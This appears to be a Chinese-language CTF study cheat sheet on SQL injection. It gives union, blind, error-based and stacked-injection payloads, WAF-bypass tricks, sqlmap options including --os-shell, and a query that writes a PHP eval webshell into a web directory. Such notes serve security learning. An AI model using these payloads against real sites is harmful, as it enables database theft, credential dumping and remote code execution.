SQL注入

原理

在各种形式的用户输入(包括Web表单、cookies、Http头、输入参数等)中插入SQL代码,当后台服务器没有严格验证时,会将其直接解析执行。

1
2
3
where id = $input #数字型,令$input = 1 union select 1,2,3
where user = '$input' #字符型,令$input = admin' union select 1,2,3
where user like '%$input%' #搜索型,令$input = admin%' union select 1,2,3

当需要用到编码的时候,SQL语句识别hex编码,PHP解析器识别url编码

SQL比较方式

  • 数字与字符串比较:取字符串每一位,如果是字符,认为是0,如果是数字,用数字。如:’41abcd’ > 40 true; ‘a4bcd’=0 true
  • 字符串与字符串比较:从两个字符串不同处开始分别以ascii码比较。如:a<b, abcd > abca,与strcmp类似

终止符号

  • SQLServer/Oracle:-- 单行注释 /* */ 多行注释
  • MySQL:-- 单行注释 #(%23) 单行注释 /* */ 多行注释 /*! MYSQL专属 */

带回显注入

猜字段数:1' order by n%23(n从1开始试,表示按第几个字段排序,报错表示没有那个字段)

爆破MySQL

原理:MySQL所有数据库/表/列信息保存在information_schema.schemata/tables/columns,通过union select爆破需要的信息。

利用MySQL函数获取敏感信息

  • database() – 查当前库
  • version() – 查MySQL版本
  • current_user() – 当前用户
  • @@version_compile_os – 当前操作系统
  • @@basedir – Mysql安装路径,用于udf提权
数据库用户为root(不常见)

寻找网站路径

  • 报错显示(需要打开Apache的display_errors设置)
  • 搜索引擎(site:target.com warning)
  • 遗留文件(inurl:phpinfo.php)
  • 漏洞报错(搜索:phpcms 爆路径,利用漏洞)
  • 读取配置文件(apache/conf/httpd.conf 或vhosts.conf ),详见:常见的load_file()读取的敏感信息
  • 社工+爆破

进行文件读写

1
2
union select 'aaaa',2,3 into outfile 'd:/test.php'
union select load_file('d:/test.php'),2,3

注意:

  1. Windows下文件分隔符只能采用/或\\,采用\会报错
  2. 可以采用hex或者url编码,如果采用编码就不需要加单引号,如:load_file(0x643a2f616161)
数据库用户非root
  1. 爆库名:union select 1,group_concat(schema_name) from information_schema.schemata(对应sqlmap –dbs)或者直接–current-db
  2. 爆表名:group_concat(table_name) from information_schema.tables where table_schema=database() #table_schema=0x64767761 (schema字符串需要用单引号,否则转为hex方式)(对应sqlmap -D schema –tables)
  3. 爆列名:group_concat(column_name) from information_schema.columns where table_name=0x7573657273 (table name转hex)(对应sqlmap -D schema -T table –columns)
  4. 查数据:group_concat(username,0x3b,password,0x3b) from users(对应sqlmap -D schema -T table -C table.column –dump)
sqlmap命令常用参数

sqlmap -u "url" [-r post.txt] -p "id,user-anget" --output-dir=./output -v 3 --cookie=? --os-shell --technique=E --ignore-redirects --start=100 --stop=200 --force-ssl

  • --string="hello"插入的查询语句的boolean值=1时,页面中出现的字符串
  • --not-string="hello"我们插入的查询语句的boolean值=0时,页面中出现的字符串
  • --code=302provide a HTTP status code to match True
  • select load_file('/etc/apache2/sites-available/000-default.conf'),os-shell需要知道网站根目录,如果为apache站点,则读取相应的配置文件

爆破Access

Access没有专门的注释符号,但是可以用空字符NULL(%00)代替

原理:暴力猜解

直接通过常用名依次猜表名、列名:

1
2
3
4
union select 1,2,3 from users #猜是否存在users
union select 1,usename,password from users #猜列名是否为username/password
and exists (select * from users)  #猜是否存在users
and exists (select username from users) #猜列名是否为username

通过len()asc(mid(str, start, length))猜数据:

1
2
and (select top 1 len(username) from users)=5 #猜长度
and (select top 1 asc(mid(username,1,1)) from users)=97 #猜第一位是否为'a'

Access偏移注入(知道表名,不知道列名,原理:通过select *返回所有字段,通过inner join多次返回)

1
2
3
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from admin #当前表18个字段
union select 1,2,3,4,5,6,7,8,9,10,11,* from admin #*后从后往回减少,直到正常,得知admin表为7个字段,18-7*2=4
union select 1,2,3,4,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) #改变a.id,b.id,*的顺序可以改变返回字段的顺序

无回显注入

原理:sleep(if(x=y), n, 0)如果查询结果符合,则延时n秒返回,否则即时返回。

  1. 全匹配递加一得到长度:sleep(if((select length(hex(group_concat('password'))) from table)=1), 5, 0))
  2. 通过substring取每一位字符,通过ascii转为ascii码,二分法[0,127]加快比较过程,得到每个字符,如果是中文,则还需要用hex,然后再二分法:sleep(if(ascii(substring((select hex(group_concat('password')) from table), 0, 1)) < 63), 2, 0)
报错注入
1
2
3
select extractvalue(1,concat(0x7e,(version())))
SELECT updatexml('abc',concat(0x7e,(select version())),1) #0x7e不是合法的XPath字符
(select 1 from (select count(*),concat((version()),floor(rand()*2))a from information_schema.columns group by a)b)limit 0,1; #利用floorcount(), group by三个一起使用会报错

常用函数

sleep()BENCHMARK(100000,SHA1('true')),通过较大的表做笛卡尔积select count(*) from information_schema.tables A,information_schema.tables B, information_schema.tables C

  • 条件语句

CASE WHEN 1=1 THEN true else false ENd IF(1=1, true, false)IFNULL()NULLIF()

  • 逐字符遍历

mid(str,pos,len)substrsubstringmid(('abc')from(2)for(1))='b'

  • 对比语句

regexp 'a'ascii()>'a'

绕过WAF

  • 过滤引号
1
2
SELECT * FROM Users WHERE username = 0x61646D696E #hex
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) #char()
1
2
union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+ #mysql>=5.7,利用schema_auto_increment_columns视图对表自增ID的监控功能
(select group_concat(a) from(select 1,2 as a,3 union select * from users)x) #无列名注入

布尔型注入常用方法(sample:ezsql,write_a_shell-安恒月赛-2018-11)

1
2
3
4
5
6
7
id = 1 limit (1/0)
id=2-if(1/0,1,2) #避免空格和加号
id=if(ascii(mid(user(), 1, 1))>97, 1, 2)
id=ascii(mid(user(), 1, 1)) #当id足够多时,直接通过id盲注,节省时间
id=if(ascii(substr((select+group_concat(schema_name)+from+information_schema.schemata),1,1))>97,1,2)
id=if(((select+schema_name+from+information_schema.schemata+limit+0,1)+regexp+'a'),2,1)
usernamedel=111' and substr((select flag from flag),1,1)=='f

字符串黑名单

1
2
3
4
SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT(char(97), 'd', 'm', 'i', 'n'); #任何一个参数为null,返回null,推荐使用CONCAT_WS()
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n'); #第一个参数表示用哪个字符间隔
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

过滤逻辑运算符(sample:好黑的黑名单-安恒月赛-2018-11)

1
2
3
4
5
6
select database() between 'z' and 'z' #0
select database() between 'x' and 'z' #0
select database() between 'w' and 'z' #1,因此第一个字符为w
select database() between 'wz' and 'wz' #0
select database() between 'wf' and 'wz' #0
select database() between 'we' and 'wz' #1,因此第二个字符为e

is_array foreach stristr数组各个元素过滤

1
2
id[]=-1) union/*& id[]=*/ select 1,user(),3/*&id[]=*/from mysql.user #
id[]=-1) union/*& id[]=*/ select 1,user(),flag/*&id[]=*/from gxnnctf2017.flag

后台PHP使用mysqli_multi_query()导致多语句执行,堆叠注入

检测:单引号后加入分号(;),若无法多语句执行,返回页面按理说应该是500,如果可以看到正常回显,说明可能存在堆叠注入。

使用prepare/execute(sample:write_a_shell-安恒月赛-2018-11)

set @s=select '<?php eval($_POST[x];?>' into outfile '/var/www/html/favicon/1.php';
prepare a from @s;
execute a;

结合16进制(sample:emo_mvc-SWPUCTF2019

1
2
3
payloads = "asd';set @a=0x{0};prepare a from @s;execute a-- -"
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
payloads.format(payload.encode('hex'))

Order by后的注入

知道一个字段名

1
2
?order=vote #根据vote字段排序,找出最大票数num
?order=abs(vote-(length(user())>0)*num)+asc

不知道字段名

1
2
3
?order=rand(true)
?order=rand(false) #会返回不同的排序
?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128)) #类似盲注的方式逐位猜字符